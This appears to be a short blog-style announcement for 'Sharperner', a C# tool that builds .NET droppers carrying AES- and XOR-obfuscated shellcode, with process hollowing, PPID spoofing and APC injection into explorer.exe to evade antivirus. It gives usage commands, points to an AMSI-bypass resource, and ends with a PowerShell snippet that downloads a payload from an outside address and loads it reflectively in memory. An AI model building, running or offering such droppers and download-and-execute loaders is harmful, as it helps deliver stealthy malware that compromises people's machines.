Sharperner: generate .NET dropper with AES and XOR obfuscated shellcode

Sharperner

Sharperner is a tool written in CSharp that generates a .NET dropper with AES and XOR obfuscated shellcode. A generated executable can possibly bypass signature check but I can’t be sure it can bypass heuristic scanning.

Features

PE binary

• Process Hollowing
• PPID Spoofing
• Random generated AES key and iv
• Final Shellcode, Key, and IV are translated to morse code 🙂

.NET binary

• AES + XOR encrypted shellcode
• APC Process Injection (explorer.exe)
• Random function names
• Random generated AES key and iv
• Final Shellcode, Key, and IV are translated to morse code 🙂

Use

/file B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

Suggestion

To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData(‘http://10.10.10.10/payload.exe’)
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]::Main()

Download